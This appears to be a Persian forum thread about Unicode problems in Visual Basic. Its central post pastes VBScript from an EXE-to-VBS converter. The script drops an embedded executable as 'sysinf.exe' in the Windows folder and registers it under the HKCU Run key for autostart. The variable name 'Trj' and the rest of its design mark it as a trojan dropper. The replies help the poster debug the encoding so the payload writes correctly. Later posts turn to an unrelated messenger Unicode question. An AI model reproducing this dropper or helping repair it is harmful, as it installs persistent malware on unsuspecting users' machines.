امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
مشکل من با یونیکد
نویسنده پیام
security آفلاین
تازه وارد

ارسال‌ها: 8
موضوع‌ها: 3
تاریخ عضویت: اسفند ۱۳۸۵

تشکرها : 0
( 0 تشکر در 0 ارسال )
ارسال: #1
مشکل من با یونیکد
سلام به دوستان عزیز
یکی از دوستان تو ایران ویج یه سورس قرار داده بود که باهاش میشه فایل های exe رو به vbs تبدیل کرد اما فایل خرورجی اون تابع یونیکد سیستم است و فقط بر روی یونیکد اینگلیسی جواب میده.

این برنامه از chr استفاده کرده و موقع برگشت اگه سیستم رو یونیکد فارسی باشه مثلا chr(144) رو حرف "گ" بر میگردونه ولی اگر انگلیسی باشه چیز دیگه ای بر میگردونه و همین امر مشکل ایجاد کرده.
لطفا خودتون سورس رو ببینید:

دانلود سورسِ

ممنون میشم اگر بتونید مشکل من رو حل کنید. Shy Heart
(آخرین ویرایش در این ارسال: ۲۴-اسفند-۱۳۸۵, ۱۵:۰۷:۳۲، توسط security.)
۲۴-اسفند-۱۳۸۵, ۰۰:۰۲:۱۶
ارسال‌ها
پاسخ
pswin آفلاین
كاربر دو ستاره
**

ارسال‌ها: 151
موضوع‌ها: 11
تاریخ عضویت: مرداد ۱۳۸۵

تشکرها : 0
( 19 تشکر در 11 ارسال )
ارسال: #2
RE: مشکل من با یونیکد
سلام
برای تبدیل یونی کد داخل وی.بی میتونی از دستور strconv و از دستورهای ascw و chrw برای کار با اعداد یونی کدی استفاده کنی. همینطور میتونی از توابع API ؛ widechartomultibyte و MultiByteToWideChar استفاده کنی

۲۴-اسفند-۱۳۸۵, ۰۱:۵۹:۰۳
وب سایت ارسال‌ها
پاسخ
security آفلاین
تازه وارد

ارسال‌ها: 8
موضوع‌ها: 3
تاریخ عضویت: اسفند ۱۳۸۵

تشکرها : 0
( 0 تشکر در 0 ارسال )
ارسال: #3
Question  RE: مشکل من با یونیکد
ممنون از راهنماییت ولی کد فایل VBS ی که برنامه میسازه به غیر از اولش که آرایه ای از بایت های فایل اولیه من درست کرده این شکلی هست:

Dim Fso, WshShell
Set WshShell = CreateObject("WScript.Shell")
Set Fso = CreateObject("Scripting.FileSystemObject")
Trj = Fso.GetSpecialFolder(WindowsFolder)
Trj = Trj + "\sysinf.exe"
WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\key", Trj, "REG_SZ"
Set F = Fso.OpenTextFile(Trj, 2, True)
Dim i
For i=0 To UBound(Rs)
F.write Chr(Rs(i))
Next
F.Close()

من اومدم تو خط 3 تا مونده به آخر بجای F.write Chr(Rs(i)) این خط رو نوشتم:

F.write StrConv(Chr(Rs(i)), vbUnicode)

ولی ایندفعه فایلی که ساختش 0 بایت بود و باز هم عمل نکرد .
باید چیکار کنم؟
۲۴-اسفند-۱۳۸۵, ۱۵:۱۸:۵۳
ارسال‌ها
پاسخ
pswin آفلاین
كاربر دو ستاره
**

ارسال‌ها: 151
موضوع‌ها: 11
تاریخ عضویت: مرداد ۱۳۸۵

تشکرها : 0
( 19 تشکر در 11 ارسال )
ارسال: #4
RE: مشکل من با یونیکد
سلام من یه نمونه ذخیره متن یونی کد رو سایتم داخل وی.بی گذاشتم. میتونی از اون استفاده کنی. اما در مورد FSO باید یکم صبر کنی. چون بکل یادم رفته. فکر نکنم ثابت vbunicode داخل FSO جواب بده تا اونجا که یادم میاد یه پارامتر به اسم یونی کد از نوع بولی داخل خود FSO هستش

http://www.ps-ware.net/index.php?option=...&Itemid=51

۲۴-اسفند-۱۳۸۵, ۱۶:۰۰:۴۰
وب سایت ارسال‌ها
پاسخ
security آفلاین
تازه وارد

ارسال‌ها: 8
موضوع‌ها: 3
تاریخ عضویت: اسفند ۱۳۸۵

تشکرها : 0
( 0 تشکر در 0 ارسال )
ارسال: #5
RE: مشکل من با یونیکد
سلام عزیز، بازم ممنون بخاطر کمک هات.
من سورس شما رو گرفتم و بجای FSO از همون Open Path For Output As #1 استفاده کردم اما بازم جواب نگرفتم.

بعدش رفتم دنبال حرف شما که گفته بودی با یه مقدار بولی میشه یه مقدار یونیکدی رو ذخیره کرد و از تو گوگل مقاله ای رو پیدا کردم که مطابق حرف شما این حرف رو زده بود اما گفته بود که تو CreateTextFile میشه این کار رو کرد.
منم تو سورس بجای OpenTextFile رو قرار دادم، مقدار بولین اون رو هم True کردم اما وقتی برنامه رو اجرا کردم به دوتا مشکل برخوردم:
1. حجم فایل exe ای که به برنامه داده بودم 16 کیلوبایت بود اما حجم فایلی که VBS می ساخت دو برابر یعنی 32KB بود.

2. موقعی که فایل ساخته شده ( یعنی همون جدیده که VBS ساخته بود و حجمش 2 برابر شده بود ) رو اجرا کردم یه صفحه داس باز شد و پیغام غیرمجاز بودن دستور عمل های فایل رو میداد :

[attachment=493]

اینم اون مقاله ای که در رابطه با FSO پیدا کردم:
http://www.aivosto.com/visdev/fso.html


اگه یادت اومد دست ما رو هم بگیر. Heart
۲۴-اسفند-۱۳۸۵, ۱۷:۴۳:۰۰
ارسال‌ها
پاسخ
pswin آفلاین
كاربر دو ستاره
**

ارسال‌ها: 151
موضوع‌ها: 11
تاریخ عضویت: مرداد ۱۳۸۵

تشکرها : 0
( 19 تشکر در 11 ارسال )
ارسال: #6
RE: مشکل من با یونیکد
سلام
این فقط برای فایلهای متنی مثل txtها جواب میده . فایلهای باینری مثل فایلهای exe رو خراب میکنه. یادت باشه یونی کد داخل فایلهای exe فقط زمان کامپایل اونها باید تنظیم شه نه بعد از کامپایل. مثلا داخل C برای ساخت یه برنامه یونی کد از دستورهای زیر استفاده میشه.

#ifdef UNICODE
#define CreateWindowEx CreateWindowsExW
#else
#define CreateWindowEx CreateWindowExA
#endif

داخل ویژوال بیسیک امکان ساخت برنامه های یونی کد وجو نداره. چون کامپایلر اون نمیتونه از یونی کد به صورت ذاتی پشتیبانی کنه. اما داخل VB.net برنامه‌ها دارای UI یونی کد هستن و تمامی برنامه بر اساس یونی کد ساخته میشه. به همین علت برنامه‌های دات نتی که از caltureهای به غیر از انگلیسی استفاده میکنن رو ویندوز 98 اجرا نمیشن.

در مورد دو برابر شدن حجم فایل بهتره مقاله زیر رو بخونی. تا علتشو بدونی.
http://www.ps-ware.net/index.php?option=...&Itemid=47

اما پیام خطا میتونه برای سرویسهای امنیتی ویندوز باشه. چون اکثر ویروسها که با ایمیل پخش میشن از FSO برای انتشار خودشون استفاده میکنن.


۲۴-اسفند-۱۳۸۵, ۱۸:۴۹:۵۹
وب سایت ارسال‌ها
پاسخ
security آفلاین
تازه وارد

ارسال‌ها: 8
موضوع‌ها: 3
تاریخ عضویت: اسفند ۱۳۸۵

تشکرها : 0
( 0 تشکر در 0 ارسال )
ارسال: #7
RE: مشکل من با یونیکد
مقاله بسیار جالبی بود.
بخاطر کمکهات واقعا ممنونم. :*
۲۴-اسفند-۱۳۸۵, ۲۱:۱۱:۵۵
ارسال‌ها
پاسخ
rezavb6 آفلاین
كاربر تک ستاره
*

ارسال‌ها: 37
موضوع‌ها: 1
تاریخ عضویت: دى ۱۳۸۶

تشکرها : 0
( 2 تشکر در 1 ارسال )
ارسال: #8
RE: مشکل من با یونیکد
سلام من یک یاهو مسنجر ساده درست کردم اما نمیسه متن فارسی فزستاد کسی می دونه چه جوری به unicode تبدیل کرد تا بشه فارسی چت کرد
۱۲-بهمن-۱۳۸۶, ۰۵:۰۷:۴۰
ارسال‌ها
پاسخ
rezavb6 آفلاین
كاربر تک ستاره
*

ارسال‌ها: 37
موضوع‌ها: 1
تاریخ عضویت: دى ۱۳۸۶

تشکرها : 0
( 2 تشکر در 1 ارسال )
ارسال: #9
RE: مشکل من با یونیکد
سلام از این دستورات ,chrw , Strconv استفاده کردم به این شکل
a=chrw(1752)
و a رو میفرستم هسچی ارسال نمی شه
اگه کسی میئونه بم بگه
۱۲-بهمن-۱۳۸۶, ۰۵:۱۱:۲۰
ارسال‌ها
پاسخ
rezavb6 آفلاین
كاربر تک ستاره
*

ارسال‌ها: 37
موضوع‌ها: 1
تاریخ عضویت: دى ۱۳۸۶

تشکرها : 0
( 2 تشکر در 1 ارسال )
ارسال: #10
RE: مشکل من با یونیکد
laanat bar harchi unicode
۱۶-بهمن-۱۳۸۶, ۰۴:۲۶:۳۳
ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  دریافت سورس سایت بصورت یونیکد aleas 7 5,439 ۱۷-خرداد-۱۳۹۳, ۲۲:۴۱:۱۵
آخرین ارسال: aleas
  تبدیل کد به یونیکد فارسی aleas 4 5,220 ۱۱-اسفند-۱۳۹۲, ۱۱:۱۶:۴۸
آخرین ارسال: aleas
  ادیتور فارسی -- تشخیص کد یونیکد نهایی از اسکریپتهای ویندوز behzad-khazama 7 8,873 ۱۸-مرداد-۱۳۸۸, ۱۷:۱۷:۱۷
آخرین ارسال: behzad-khazama
  لود کردن فایل ها در لیست باکس و مشکل یونیکد rezayavari 1 2,564 ۱۶-خرداد-۱۳۸۸, ۱۵:۰۴:۴۲
آخرین ارسال: Payman62

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS